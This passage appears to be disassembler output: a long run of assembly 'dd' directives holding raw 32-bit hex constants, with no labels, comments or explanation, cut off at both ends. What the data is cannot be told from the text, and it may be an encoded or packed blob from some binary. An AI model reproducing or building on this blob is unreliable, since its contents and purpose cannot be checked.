45D90FC5h, 5F01A66Dh, 0C0AF9687h, 0F70EFE63h dd 40A5714Fh, 0A60B412h, 342A003Ah, 9E44F424h, 9C081109h dd 0F3592C4h, 0AD2566BCh, 0E408CD3h, 0E9880A00h, 835D36BEh dd 5DF0071h, 3A32AC1Ah, 8E00F8CBh, 65ADAEAFh, 3F51CA39h dd 0A4007F2Fh, 0F826294Dh, 8D00852Eh, 8CFCA190h, 0B0FAFF67h dd 6C2F0094h, 23D443Fh, 0E013EB09h, 920E7C27h, 0D56DA004h dd 0B5A055h, 8B16B018h, 5759FFAAh, 3900CA7Eh, 0D5445483h dd 3955A6Ah, 582EF012h, 80ED1B45h, 0A961DBA4h, 0E40C8A00h dd 71DCA2C0h, 73A601AEh, 26236E35h, 0A354ECCBh, 0AFBC9806h dd 16F9AAC2h, 0AD88F7h, 6746EEB8h, 0FB3E09EBh, 9D6E0075h dd 0BD7CA2BCh, 2BC20F7Dh, 0CC6EE57Bh, 713DC327h, 2049F508h dd 7400C458h, 831E271Dh, 0E15C7Ch, 45549551h, 0B52EA76Ch dd 0BA06CA00h, 68A51727h, 0EB9D000Eh, 45AA87D5h, 405C307h dd 0B3DE601Ch, 7F6024C7h, 2D3306h, 0A4D8FF16h, 0C446B1A6h dd 60634D00h, 2CD41E9Fh, 9EEF1DB8h, 4824808Ah, 4A1C3176h dd 4C3648h, 7A5366C4h, 488D5CC7h, 0CC2C2710h, 9C3D0B50h dd 0D0BA2F80h, 0AF020216h, 15CD8EF7h, 4B6060F9h, 0C12A000Ah dd 0DD230309h, 0B916D10Fh, 4C00FCF8h, 0BE0CBF51h, 7860592Ah dd 4E2E1500h, 4CB613Eh, 5D076C98h, 1ECEC377h, 5501E0CFh dd 3302416Dh, 4D2007ABh, 0E71C9A88h, 0A8630F09h, 0FFDF07D8h dd 4F213ED0h, 6DDF3DBFh, 0B661AF82h, 0E480700Dh, 49F2F8C8h dd 14540E03h, 0B903316Dh, 3EE0B4ECh, 21F0766h, 41884F20h dd 0F0181A90h, 5B7C35A4h, 650D7300h, 42E481C1h, 44792C8Bh dd 0A7E90005h, 187AD5E1h, 800CC938h, 289AD63Fh, 0E41549EEh dd 0F8961268h, 0DC1ECCh, 0E5169C58h, 0A9001381h, 0DAF184EDh dd 0D89CB39h, 8530A0D0h, 0BA8C05B2h, 0B7FA7AC0h, 7238099Eh dd 83015668h, 0C70EB5A6h, 986FC0B7h, 0CF264FE0h, 150022BFh dd 0DEAFC93Ah, 82D9A06Dh, 2D3E00AAh, 0DF20E19h, 920038A7h dd 2A700349h, 121DD520h, 75D898Dh, 0F07FD784h, 0B0AE0FDBh dd 0C75738h, 60FC8C98h, 1D0523h, 36D9C1F4h, 3E537ECAh dd 0AB016D06h, 0A0120FB3h, 0FC28EA1Ch, 1157004Bh, 64161209h dd 0E1EEC503h, 8B493006h, 78210Eh, 0C61ADADEh, 6C718660h dd 827AB0C8h, 31E4E943h, 4478C4EAh, 0EE6AB700h, 6E87E74Eh dd 80C500D1h, 865944CAh, 0CCF39604h, 0FD721BEDh, 78C78B1Dh dd 0B8ADCEh, 0F82C1D17h, 87F70073h, 0AA70D77Ah, 240706FDh dd 58F4BE15h, 8D54CB53h, 0A075B0E0h, 5B5E2044h, 24C04B0Ch dd 80A45D08h, 0F3C1E289h, 0F5006944h, 277B29E5h, 0C9E835Eh dd 4BF16231h, 4228C0E8h, 0A005B08Eh, 6DD1D3A2h, 8CC1D301h dd 9EDC0D33h, 8A9A005Bh, 0B7F84026h, 7158E4CEh, 0E38907DDh dd 204CC917h, 1B970F64h, 37807B7Ch, 6B322BCFh, 755B7001h dd 84949D12h, 0B427B0D7h, 90790B61h, 0A581E13Ah, 0F825A15Ah dd 0F839C2A5h, 8041BB89h, 0A9AC84DDh, 988FBCCDh, 6A06010Bh dd 46490DA8h, 503CBDh, 0C7BA31ECh, 31D52EFh, 14760E3Dh dd 19B6C73h, 1E41D2C8h, 1D7948h, 8AFEB484h, 61B571h, 77297FE6h dd 33014617h, 8F00C4ECh, 0C567CA0Bh, 8695BEh, 55DDCB2Fh dd 0B101D646h, 51FE7603h, 0E06F6BF9h, 28CB94CAh, 41A08C0Bh dd 4383696h, 1BEDF30h, 77F030C7h, 3890E855h, 0A281A528h dd 6B7C4980h, 0A9DEF861h, 400001F2h, 0CE7BAF77h, 0B8354CE0h dd 7AAE1E99h, 256340D8h, 15E73EBBh, 6605DA3Bh, 10A1B6h dd 0FF1D9B53h, 0DE87ED2Fh, 17D39D00h, 207A0C19h, 214B8C0h dd 66A6BA67h, 0F8C8AE58h, 0A2606157h, 0D6B14240h, 0D96F1682h dd 3FF00028h, 914CACFCh, 10BF1200h, 0AD09B984h, 53E00Fh dd 3A0C58D6h, 0D1CA0362h, 83E38103h, 8823F4B0h, 2C311Bh dd 0B5EA9382h, 9B6A6188h, 0C7D50A0Fh, 92A90477h, 0B0C00EC5h dd 7D1F2FAh, 34538F64h, 0B1670F40h, 0BEB880FEh, 6D4AC7CDh dd 0F595FC00h, 12CDF4Ah, 0CC14EAC6h, 8EB59DF1h, 20814010h dd 474A9CABh, 0D61F002Fh, 7A4D35E7h, 0E3F295CDh, 2C30BA00h dd 0AA6D9F1Ch, 98DD17B5h, 0CE181434h, 4D202800h, 22F4A6D6h dd 64CB0717h, 98645C8Dh, 0C01117B6h, 0E905C06h, 664FB733h dd 175F4080h, 6505CEB3h, 875D4F38h, 79B094C0h, 0C0C04D6Dh dd 0FD074701h, 0F8EA135Bh, 65EC09B2h, 3A3DA090h, 13C95C27h dd 22076F1Dh, 4AF0C9ACh, 0EFA4490h, 4D267A8Ah, 30686CA0h dd 7F007ECBh, 6140F3BAh, 0AEFC24h, 0BCCC574Eh, 0B2C24A56h dd 0FF6BD000h, 0E1759084h, 550A1635h, 0A9D4008Eh, 0CF45093Bh dd 870F9B2Dh, 66C08604h, 0FC3D3957h, 241FCFFh, 6C17A3E5h dd 70C92088h, 2B4AC4FCh, 1C00C54Fh, 1EEAF685h, 0FE75B2h dd 9489B874h, 3C53E8E0h, 2B951C00h, 4BFA2138h, 63200091h dd 45F0B927h, 8C04E2BFh, 0FDA669ECh, 5B87EC80h, 0C3318028h dd 10C0789Ch, 7A627B3h, 79CBD9E6h, 0C4D5CE57h, 0B136C300h dd 0B866F6A4h, 0F2F3EE03h, 0E8E88A4Fh, 44249Bh, 43FF6FD0h dd 0B97F87B3h, 1300EE74h, 2384F007h, 30FA770h, 14E95B31h dd 2000A5B2h, 0ADC62B7h, 9883DBh, 26656695h, 47850E4Bh dd 1F198C00h, 0DFF56CEBh, 0DE144C61h, 41910C01h, 0EC9209A6h dd 0E3004950h, 2ADEBBA9h, 2393E4h, 9BF1CE5Ah, 0D1C8E147h dd 444B1900h, 5F7069C0h, 910625C2h, 0EDD70C0h, 0D23C8400h dd 6A1A9EE8h, 0D1930104h, 149CE6D8h, 4C807FD3h, 0C5DB63h dd 8DEBBA18h, 77FADE5Dh, 95C3C100h, 9E2D2E71h, 54101A2h dd 0BB9DF760h, 9C60EEE5h, 0AA00EFBFh, 7CB838B9h, 735ABC9h dd 3CDDD75Dh, 179F10C7h, 3A00B9DCh, 6903DFA9h, 161A50B5h dd 0E930E2Ch, 44C29F3Ch, 77400A20h, 4E02C845h, 69EF837Ch dd 0F9DC8003h, 0B91F33h, 1EA3F401h, 5D968790h, 0AE04B000h dd 0D4817A67h, 8E5000B6h, 0BD37C411h, 8A00F920h, 4C046E6Dh dd 550BFEh, 0CBCF8F57h, 0F63471B2h, 3466339h, 0E3B09BEh dd 2311009Bh, 7D88DC06h, 323CC789h, 4AF400A1h, 91C5E854h dd 14989562h, 0CB5B71A9h, 3E40101Eh, 68B2CD5Ch, 0FDFB024Dh dd 52B02315h, 78A6EAE0h, 0F9F02900h, 0EC6CC4F6h, 517012h dd 17042EF2h, 5AFF61DAh, 0DE3A8B12h, 0F0F19200h, 90C51CD7h dd 68551D67h, 1B2F87EBh, 4E996085h, 3BF0DF9Eh, 18153Dh dd 776A324Ch, 5AF13Fh, 0D9A349EBh, 455016ADh, 4000E07Bh dd 53A1B262h, 2C21DAA7h, 4D00E09h, 5F33FF9Ah, 6081905Fh dd 98356873h, 2840FC45h, 69D6B88Dh, 0CF6500E4h, 6DF582E3h dd 403DE224h, 963FFA2Dh, 616980B4h, 22D2E104h, 3DE80210h dd 0C1FA0123h, 0FF0F9C8Bh, 851C0E80h, 0B800C4AFh, 0E7E3C94Eh dd 0F030D9h, 0BAAA5844h, 0CF7E0506h, 29286907h, 30214308h dd 0E0EF5920h, 0BE8DFFh, 485E3334h, 0F85CA916h, 14BCA800h dd 0A647BACAh, 0DB7AD5h, 97CE33F4h, 635E3494h, 45913200h dd 9ED29FC0h, 0F30909FAh, 8318B6h, 0CAF05149h, 8500F40Ah dd 2BFE1EE2h, 0ED80D8h, 0E1F95006h, 63B0C44Dh, 0EAFFAE03h dd 0B875933Eh, 3D157380h, 0F64401h, 9490A07Ch, 0D636C2D1h dd 6720507h, 5170B492h, 0E6172DD7h, 5B113D68h, 0BA104D8Fh dd 4BDF9A80h, 0E20EB1A0h, 0A3CAF901h, 0D841F282h, 772ABF55h dd 4AF103A4h, 74262386h, 47789F98h, 75490900h, 7A3E2479h dd 20420254h, 25596A58h, 0A37EFF87h, 0AFCC6741h, 22446180h dd 6F60003Eh, 3DA8B2BEh, 3C6E737Dh, 6A74360h, 3B70B6F6h dd 75800177h, 810739C4h, 18CCEBBDh, 440F11C5h, 67811C9h dd 0E8D648h, 73A7A63h, 0A9B550h, 0CA5E3856h, 0AFF6DFBDh dd 4A115B00h, 75B02122h, 0CFFCC5h, 73E7E8CEh, 8BAFA7FCh dd 0F46D400h, 0D24887FDh, 0A9B62A5Bh, 1E3F7280h, 0A5F19Fh dd 5ECA2EE3h, 50E82638h, 3F10E20Ah, 590A10E1h, 41001C8Fh dd 0A80EFD17h, 0E80205D1h, 0C03843D9h, 1BBC8316h, 0CF3C1305h dd 0CBC0DAB1h, 0B48AE5Fh, 0AAAC192Ch, 0E1A1B80h, 0C83F7F7Ah dd 80B4B963h, 62CBC043h, 873E05h, 0E26728E1h, 2B895C21h dd 33BBD100h, 3643C582h, 5EA900E9h, 0BE087856h, 9500E887h dd 98969D60h, 1F25A417h, 0EE7CF8h, 0BAD61CAEh, 0A91D57AAh dd 558046F2h, 1054E343h, 4A3300C5h, 1ACE76C3h, 2D000B8Dh dd 5F36D51Eh, 0D06101h, 60B0551Bh, 0E89C40A3h, 0A403E600h dd 7548B28Dh, 1574387Fh, 5CD66187h, 33A1803Bh, 9500F771h dd 2E3CD75Eh, 0FCB23160h, 196E152Bh, 0C430A0BDh, 0B7488C80h dd 3F33D4B0h, 7F70867h, 96CE621h, 3872012h, 1A1FF1EDh dd 24A0FA4Fh, 4030ECFFh, 52EF5A5Ch, 0A849C51Fh, 0F4A92C07h dd 7263B3E0h, 0DBAD027Ch, 282AC042h, 20809CE2h, 0CF347DB2h dd 1FAF40C0h, 1ACA95h, 2C5C789Eh, 21C04011h, 398BDF01h dd 0A5C518A6h, 79F12080h, 99826922h, 270820A7h, 0D949C00Dh dd 3D60A98Dh, 0B2720AB1h, 26A80338h, 5FA7AA55h, 0D9220818h dd 6B6720h, 94629B2h, 68CFD32Fh, 161D4092h, 8F43751Ah dd 7A6AB85h, 0DFC75964h, 0D94861F8h, 76344881h, 0A81CB204h dd 18325986h, 0B26F6320h, 0E2573A84h, 74BA6181h, 8316A891h dd 487B921h, 4557A0A2h, 0E10F3C68h, 0D97DC081h, 0D8CBB85Eh dd 0C830EC13h, 1792A199h, 6AF600EAh, 0FB275E91h, 0C0076E2h dd 0A614B0B5h, 761626D1h, 20800059h, 2E7A4F0Dh, 98061BAEh dd 0F3026CC0h, 52A40948h, 1480E638h, 7C9D0779h, 2806EA3Ah dd 0A400E494h, 0FCE6B234h, 0C25BD12h, 10A9565Fh, 400397B9h dd 0DAB23E9Dh, 22BA873h, 4F3F1F0Ah, 0CD1DFD85h, 297C841Dh dd 270C80BAh, 0FE49756Bh, 0A91013Ch, 0B70A850h, 12112424h dd 4EA6261Dh, 7D1473Ch, 0C93005AAh, 8040A0D5h, 4280B1E7h dd 103C9077h, 6245893Dh, 32B4D60h, 410024A7h, 235BEF3h dd 74260B44h, 0D031017Ah, 0E5EC9271h, 0B6698642h, 5830DB9Ch dd 0D60C912Ah, 8411C9D3h, 4A7E8F00h, 26C566E2h, 0C4353A59h dd 5E21B030h, 0B6007E83h, 3DAD278Ah, 0B845FDDFh, 0A3F1295Dh dd 7E8B0124h, 1886E25Eh, 9F9A88B1h, 994E7E00h, 521F1025h dd 854D01AAh, 0C5B34E5h, 0D178345Ah, 0DD281AB0h, 3E07AC42h dd 59AF02DBh, 9CD4D634h, 150F404h, 41E63430h, 1559C423h dd 3000B843h, 0BBF7E6AEh, 1B021A15h, 6D4C4A0Bh, 0F2046919h dd 8A0E8h, 6313CFD5h, 84D899FEh, 0B3E494A5h, 4E6E1C60h dd 66C85315h, 368C01E8h, 0B3F26F1Fh, 9A329CECh, 2694664h dd 4889105Fh, 10DB316Fh, 2E1057FFh, 0EDB42Eh, 0C1A72555h dd 9B1D0A18h, 29B0E46Bh, 6964BBDh, 10744F5h, 5F4668C2h dd 1E105516h, 34FDD560h, 96D80DEh, 79FA5756h, 0FB0B5000h dd 11EAB486h, 0C43E05D9h, 40400C34h, 0AA68E2ACh, 0B1007A7Dh dd 9A5BF1F0h, 16F76D5h, 1C221444h, 50AED3ECh, 3986E690h dd 37CB300h, 0C622365Eh, 9FFE1C83h, 734E8326h, 71E83787h dd 5349C097h, 0E61D80E4h, 8C51C478h, 31894A60h, 12DE6A3h dd 3B5FFBB1h, 0ED639BDEh, 0DA2EF001h, 656C80C1h, 0E980A772h dd 0B3A2C93Fh, 480141CAh, 0DA281693h, 65DE6E7Bh, 6018E4B4h dd 7155206h, 0B7E53AF9h, 23AE80EEh, 30B1A7EDh, 0C9813804h dd 0A98EE4C0h, 0CA89DCC0h dd 0C0D06A2Bh, 48881058h, 0F7225746h, 10500200h, 6A650564h dd 976D093Ch, 6420F904h, 0D754A1DEh, 526CC300h, 252C47CBh dd 0B03D077Bh, 0D27A834Bh, 4C4867CFh, 0B500021Bh, 31D651F5h dd 0EC0791BBh, 9DDB0065h, 0B6E75DEFh, 0E629528Fh, 0DB715409h dd 4C007118h, 7CFD9F06h, 798487C3h, 0F6190470h, 0CC04A3C9h dd 48CAD48h, 0E25F7E8Ah, 20AD620Eh, 9F7E828Fh, 12D47048h dd 180473E2h, 1E31015Ah, 0E9C4F0E6h, 40220643h, 0E6B03200h dd 8F6B777Eh, 130200D4h, 4033DDAAh, 0FE0C8278h, 70DED523h dd 77160CF0h, 0D4A82058h, 7E8D3E8Ch, 0C436E288h, 6440B564h dd 0CA917E81h, 0DC54B800h, 86D8E207h, 3F9401F6h, 0A885CFE1h dd 0E10241Ah, 3724B300h, 7B516E92h, 2ACA0761h, 51F65769h dd 82D6A703h, 42FE2459h, 11E868A5h, 0F549EBh, 0BED65860h dd 0BD7F6667h, 30A8194Ch, 0A66B39D9h, 56C82432h, 0AE1EBC00h dd 0F5830ABAh, 0B5467CC4h, 71F31300h, 85E0CBC6h, 0C0B14509h dd 743C84D5h, 8A096260h, 0FE674810h, 0E480F5C8h, 0F926105Ah dd 529500C1h, 0B5EF2BCAh, 5402A607h, 3811D9FAh, 15202E46h dd 0CCB720F2h, 0FC52D898h, 0E2450080h, 0AA53FE1h, 40390024h dd 1CF3DBEEh, 0A37C125Bh, 78285E1Fh, 4181069Fh, 9318ABC0h dd 2AFC34h, 219DB6BEh, 37A3D7DBh, 0F533A500h, 6C355A8Bh dd 27B32CF0h, 23DE8F74h, 0F8FF59E0h, 0B100CD18h, 4CCB0842h dd 0DB1E91h, 0F45763A7h, 70C70E8Ah, 3D93E4EFh, 6F1BEE00h dd 121AA9A8h, 0EF441274h, 53CE0040h, 0D4397D85h, 3A789FFCh dd 261C3Ah, 15628A78h, 5D9A7787h, 0A7033828h, 82F796A6h dd 4F7CDBD8h, 0A8200407h, 0BF30274Ch, 110FF3h, 8B197958h dd 0FDCC568Dh, 0D092967Fh, 2DC9D00Fh, 5850A070h, 632B924h dd 284CA6B8h, 0AA018129h, 0A33DBA92h, 0F1FC2C0Fh, 8054B0D3h dd 73FE7E4h, 5C3ECF16h, 0E4EF0D7h, 92078B08h, 9C55FB13h dd 0A0FAB520h, 6DC00EEh, 496D794h, 3126D2ABh, 1002A775h dd 604192FFh, 0A8163A39h, 0F728A0h, 0ABF23CC9h, 0D994459Ch dd 0D931A00h, 9E17C4FEh, 23C910FCh, 8D830139h, 0DA625DBh dd 0EF47418Fh, 0B7D5FA21h, 0CEEF30D8h, 0B310C80Ah, 2300E0F1h dd 0C3967E86h, 51EA1F2Fh, 599FC02Eh, 0CD1A8792h, 7C1CC40Fh dd 0F29080BAh, 54BF4E8Ch, 0BB80DEh, 37C1A53Bh, 34881762h dd 82905D3Dh, 7B7678B7h, 80C082CDh, 0E3A0A0B6h, 185FD9C9h dd 81CF21F6h, 8A0FF502h, 810AD406h, 7BE29EF4h, 0A682E05Bh dd 40F478h, 0A017232h, 0F8545C0h, 81803086h, 0FF65FCF8h dd 0B307C969h, 0CD3EA281h, 64D4D800h, 809B0098h, 0DD30A779h dd 0CB745796h, 7E00F0E6h, 0CFB128F7h, 68E4C5h, 56201A18h dd 0C848EA16h, 0FD74DB07h, 3491E931h, 4A30B7A6h, 0FFB90068h dd 0E3C7DCCBh, 0DE007BAEh, 10A4CE9Eh, 0C784D31h, 0B46E1958h dd 650A871Ah, 8F77AE54h, 0FE5D803h, 47BBF8A4h, 7B4670B8h dd 9E8D3D32h, 4044CD03h, 0EC8075F1h, 21122963h, 0D6E81B01h dd 20D83318h, 0B9E0CBACh, 0D2F34500h, 0F2D0AB1h, 0CC92209Fh dd 78756413h, 33E19100h, 5E63B4D4h, 38BAC0C1h, 7E390EBAh dd 8019BA84h, 1411BD10h, 0C0E134C7h, 57E3D160h, 9100B416h dd 5405EFCh, 0CC4749Ch, 4B1A0D19h, 0D1B07DA9h, 93354F03h dd 0D0CBB683h, 0E475E0Bh, 0D59D5DBEh, 3045FCA0h, 0D005CC93h dd 0BDC62131h, 462C2038h, 6CCC015Ch, 91550DC6h, 2920D880h dd 0AD7E7916h, 0C51D40E2h, 3218ACD0h, 211321h, 73868816h dd 0B4F24553h, 9188D550h, 9476AC00h, 62D1302Bh, 81573395h dd 21389F08h, 0FF00FB8Eh, 253C790Ch, 3AC67E6Ah, 9E2948A9h dd 1A5F00ACh, 350F767Bh, 51AEB403h, 14691D0h, 7452F480h dd 0A1404521h, 187C0491h, 10ADB49Dh, 6D26CE39h, 0AB00E831h dd 8CC189F1h, 7B830043h, 0BF649D5Eh, 391B4758h, 8C295AFDh dd 1284E221h, 59C71060h, 6D08C389h, 0CB1C2284h, 20441722h dd 0FA01EF67h, 9456BA83h, 1FECAA2Fh, 2DA92DADh, 893E4F7Eh dd 2EC2F2h, 0D7295EF9h, 761D07ACh, 0BED857EAh, 7DD654h dd 0C28FFF2Dh, 930979E6h, 2E36F600h, 8C7BEE4Ah, 6D87E5Ah dd 297C1673h, 0F20C3818h, 480F31D1h, 9C2D003Ah, 5CF0AF0Eh dd 6800082Ah, 0A2B4AC01h, 22C465h, 393136E1h, 4CC3B4Fh dd 8701F4F8h, 9C3316FBh, 1EF418B9h, 0A60101D8h, 3F084959h dd 119AF4D9h, 9300C171h, 24CF38BCh, 0FE65BFD6h, 0A3C40209h dd 0AE121785h, 5C16CC48h, 2291A80Fh, 72FA0DAh, 0F9A045h dd 1B7E7ACCh, 2B1C8E98h, 79518B00h, 2753E2B3h, 7A3E07BFh dd 0CE9B3D3Bh, 0A5C4C700h, 6E0011D5h, 17715722h, 8D5EF6h dd 8AEDAAFCh, 0B66F4CB3h, 0E1284B09h, 32100042h, 7DC36F4h dd 4EACE546h, 0EB780379h, 0FA64E3F8h, 2C331800h, 307EF8FCh dd 3419072Ah, 6E3D8659h, 0C238FE80h, 99000A54h, 16BE33BBh dd 281A60h, 0C76F44ABh, 0B226B943h, 80041B3Dh, 59ADA64Eh dd 98570Ah, 3EC29914h, 6BE17F7Bh, 926DC800h, 0EC9B6822h dd 94520C0Fh, 9760C63Ah, 0C0350E4h, 12CF2523h, 7855E8B2h dd 0C77D0F56h, 0ABA007F1h, 6F11E2FAh, 5A68790Ah, 0CE07E0CBh dd 0CF434998h, 4E7D54h, 0C9416445h, 66F6AAEEh, 50004DE8h dd 5CEFF3D1h, 1FFF53h, 9EAE4B87h, 0C96EEBA9h, 4500DFF8h dd 846A58C3h, 1C60E207h, 0B60872h, 0EBD2CD6Ch, 4B3F9F79h dd 0D8007975h, 33F65CF4h, 75D997Bh, 8846CD6Bh, 3F2130A0h dd 4A1E0585h, 0D45E6F12h, 791CAC00h, 4F54415h, 0A2EFD921h dd 0D6688090h, 7800B5A5h, 0BE09D8FFh, 62E8294h, 0C05ADE8Eh dd 0BA60C0FAh, 0E52D0E40h, 1E0EC68h, 0D2B4B236h, 0C0D551B5h dd 0BB729833h, 9CBFCD3Ah, 0D0409062h, 7231B8E4h, 4D8F007h dd 0AA17865Eh, 0CD20D0A1h, 0C309BBE5h, 753545h, 83F31524h dd 0A110122Fh, 0AD4F0059h, 6C74D560h, 0A9AEB903h, 0C1775FFFh dd 0DC40EB38h, 1009C5h, 0DE9BF7F2h, 1B022A8Ah, 61D640Ch dd 1A8D6h, 99AA7A05h, 880A534Dh, 57CA9D00h, 0BBF73CF5h dd 0B56C236h, 0FA80E240h, 0D2D81F45h, 0AE4FE61Fh, 0CF8AB24Fh dd 0D792E065h, 7CC064Dh, 0D2028F37h, 89E5600Bh, 0FF014ADAh dd 65AFF4E1h, 63E21664h, 7885E890h, 0F8A1032Ch, 9E583428h dd 0DD24BC8h, 413B3500h, 1D55B788h, 544C00C5h, 26199606h dd 46045039h, 0CE9DA35Dh, 485628C1h, 0FDD7C0C3h, 0FAB309A6h dd 0EC0018D6h, 0A9A5BB92h, 0C922FB01h, 0E6ADE893h, 0E551DCCh dd 3239C04h, 596C6660h, 0AB005C45h, 36FD0F67h, 0C9219Eh dd 0A5DEB51Fh, 0B6648954h, 89A97B3Ah, 89ADAE07h, 5FDE18h dd 8349442Bh, 0F301AC63h, 0E9D6A398h, 0C7F864B7h, 0B8431DC8h dd 0A63341E8h, 0C89EC125h, 0E4774B69h, 0ACE09600h, 36DFD5E7h dd 0A42381Fh, 0FCA6AF80h, 61FB546Fh, 0A49FE23Bh, 0C5171620h dd 322F2A00h, 77639Ah, 0AEBF4C8h, 1D19A3B3h, 7A3D571Eh dd 16B4F00h, 162345Fh, 0C866BCA1h, 20DF0597h, 8D0ED92Eh dd 40EC29BBh, 9E8ED37Bh, 969700E6h, 0B62E9863h, 0D7005DFFh dd 54872FE4h, 0FC076A6h, 4A9B03A5h, 6F6CEA0h, 0E0E6124Fh dd 2C3AD703h, 0E8DF6555h, 3FDBAD8Bh, 16800864h, 9F9B5F99h dd 33603E6Bh, 51AB5E30h, 1647B05Ch, 0FF4A7C94h, 0F77D6C00h dd 0B1F569h, 41AB0DBh, 7A02C037h, 3005120Ah, 0EC9F8C7Dh dd 0A0E83ECCh, 0E73D0125h dd 8EFC375Eh, 0B470D865h, 0BBB11800h, 0FA30D0C1h, 17C01C8Dh dd 41020021h, 0F774CA82h, 2A28CE00h, 48FB673Dh, 98BE00E0h dd 3463C8ADh, 0B00703Fh, 0A42D1E44h, 7116A001h, 71407F7h dd 23673141h, 0AB90E41Fh, 0C83BE89Eh, 0AC248019h, 0A3CBA8AEh dd 60DE0480h, 8090EFC7h, 2DD276E8h, 67737501h, 39B01CB6h dd 70CAC020h, 5BE8006Bh, 38420CFCh, 9CF8659Bh, 0E3EC130Fh dd 0E759604Eh, 0C4F72Ah, 4A833578h, 742310FCh, 58307F0Ah dd 0BD00E06Fh, 1809DDEBh, 4BDC00F6h, 68F2DBB0h, 0C007977Eh dd 2B1DB95Eh, 0EC60B261h, 201E30h, 3E160922h, 644B5CC1h dd 23DA0200h, 83DF2A1Ah, 3C750BDBh, 0A9F07CD8h, 418F0100h dd 439019F9h, 2CBF395Fh, 0A3002BD8h, 3AC09249h, 0FC00A7A9h dd 1FEB6C51h, 0A093395Eh, 5C7BA580h, 6A057CD9h, 0C08B38C5h dd 39E67010h, 2F017F73h, 0A482B1A0h, 0FC24426Fh, 64E400A8h dd 0A57384D0h, 0F100DA9Eh, 5C4ED731h, 3A995719h, 0A7802BF6h dd 1295EA9Ah, 28BAFB77h, 69391C00h, 74E0C0DCh, 0A0D02626h dd 0C49680ACh, 0F9ECF43Ah, 0F29C8503h, 0E8FDA524h, 5D0EBD56h dd 0A040CD3h, 87933A70h, 753EC050h, 0FA004247h, 6913F76Fh dd 58F3709Ah, 0D500A843h, 0B8B5BC56h, 61007E99h, 1FC48624h dd 4770C6h, 0B6877D4Eh, 0FAE3CA80h, 2C4872FEh, 0D49035Ah dd 9F02FBA7h, 0E0D3D594h, 0DA85E89Ah, 3ED607B2h, 909D69E2h dd 7CBC3C4Fh, 3BB3A900h, 0A401D3CBh, 0F9EEB1h, 6F3073C8h dd 1761D5E0h, 0E34F025h, 2964CF40h, 6E220082h, 0F903Eh dd 45D66371h, 8C06109Fh, 0C5628CA8h, 19F33B00h, 0A4CFF7EDh dd 0B173B3h, 468E9D92h, 4179622Dh, 30CBB530h, 1FE62249h dd 5D08Ah, 533113F9h, 9D0F21A9h, 204CFB82h, 34D292DFh dd 713800BAh, 23AE79DDh, 0EB00ADC8h, 5F74A1BDh, 0AF92CFh dd 1B41A222h, 30D48A47h, 0DCB73300h, 44C6A4F2h, 13E655h dd 0CD968C3Ah, 0C962CB26h, 3B6C852Ch, 415E300h, 0E7A256Fh dd 30932BB0h, 73B30Fh, 0B70229E0h, 360382D3h, 0F526ABBDh dd 1571995Fh, 3AA2D0h, 3F447247h, 8C1D1325h, 80706F38h dd 0B5316A9Ch, 0BB23E2Ah, 6509FF24h, 1C552780h, 2D00C241h dd 44C1F5D1h, 70F8EC43h, 0DC890C0Dh, 72480BAEh, 19304000h dd 845D28A8h, 68290252h, 45CEFEE5h, 3E9170A0h, 1D0F7915h dd 0E02949A6h, 0B0811A1h, 6788Fh, 1C6E4C27h, 0FF1FCFA8h dd 0CA41B10Fh, 11A0C1A9h, 7A816787h, 0C82418C3h, 4038FBA7h dd 20228089h, 39EBA3A9h, 0DB073F1Dh, 0CE58BE1Fh, 0B260D97Ch dd 0D76A24C0h, 0FCC9AE00h, 7956D014h, 93B901CAh, 7F1C6506h dd 80ADD56Ah, 0C9D47E4Eh, 15E8C4Ah, 5524666Bh, 0F030C82Fh dd 92005BD9h, 0C4B11B23h, 0F5D173Eh, 0E94AE160h, 2EAFD580h dd 2043610h, 52453DE2h, 3024D080h, 0FBEA00FCh, 2F9AD8EDh dd 951C78BAh, 0C2807735h, 0EFF2745Ah, 843704D4h, 8326ECD2h dd 0F690166Dh, 990769B9h, 4AE2E098h, 9C575900h, 0ABFCD7h dd 6C825C8Eh, 494C084h, 0A870EA00h, 1FC3279Dh, 3474ACh dd 0A4C13786h, 0A12B05FEh, 84C5F500h, 13817AFh, 0ECE6B7h dd 5819278Dh, 0C63C4BB3h, 0C5FC8800h, 0AFD8FBDDh, 7CD4016Ch dd 0E49A4E46h, 648EE8CCh, 99016EF2h, 1CD7EE91h, 63E44FB8h dd 0F40C0051h, 7A29D368h, 0DC01EC1Eh, 7B214445h, 3CE924DDh dd 9AFB60h, 0E8831626h, 2881924Dh, 0C000AEF4h, 0F9D098D6h dd 3030623Dh, 0E618D55Ch, 66007964h, 9CD88AADh, 0FCB7B168h dd 224603F1h, 0F38D3607h, 0D5585B0h, 0B860370Fh, 0B0D520B2h dd 2C745B1h, 4626D68Eh, 0C560DA71h, 0BA00827Ah, 531F1BCAh dd 0F99D3Fh, 0A6B005EBh, 5ABC946Dh, 0BB1D3Ch, 0C879B684h dd 0EFC708Dh, 0CFF6385Eh, 0C6F88C20h, 0DF00925Ah, 7DB9A751h dd 7F664Eh, 2CEC1D76h, 7871AAC0h, 6532D600h, 5F5A6F17h dd 0E5DA032Fh, 0AC11B646h, 88B133D8h, 26BB000h, 0A6C9C784h dd 1EEB0067h, 0B4CA811Ah, 7C4A6D83h, 2D0B27C0h, 15921E9Dh dd 855500FBh, 8C53643h, 97EF6003h, 0F71496FDh, 0B9C73FF0h dd 0E6E00092h, 183CE944h, 8C1C4B9Eh, 9580481Dh, 8F2AD09Dh dd 207F0370h, 0EA4985A4h, 4C183803h, 0D8E08433h, 0BDE3FBh dd 7A2307F0h, 919A0450h, 9F000AECh, 1F47EA31h, 3A956294h dd 0D3017717h, 27FEBDBAh, 0A1B3E060h, 548B3300h, 0E52D05CCh dd 88B60089h, 0E1D05891h, 7F00BB32h, 974F9C49h, 0D60CF2h dd 55B97A4Eh, 88A6C8C5h, 4CE3100h, 0E466BB3Dh, 0D87700EDh dd 3BCA761Dh, 0D00C4FFh, 0F654D682h, 3C0A974Eh, 8900C859h dd 3A129432h, 0B40026BAh, 0F4C1F6D0h, 72A2AA6Dh, 840D041Fh dd 90FBD16Eh, 0B03A1DF8h, 0BB06077Bh, 0C491F5B6h, 16240A18h dd 0AAFE57h, 80645205h, 9A009FD5h, 34D35DFCh, 98B8541h dd 0D126D0C9h, 0C8AEBA80h, 0B400EDF1h, 97510870h, 4F5C9E1h dd 0E85E451Fh, 791080E2h, 0E709D38Bh, 7B4F675h, 0E3AE07F4h dd 0B3C572h, 3D82BA10h, 103C20D7h, 31094107h, 0FF9D301h dd 338304Ch, 0E602540Fh, 0FED4BAE0h, 0CB18EE30h, 0E8189189h 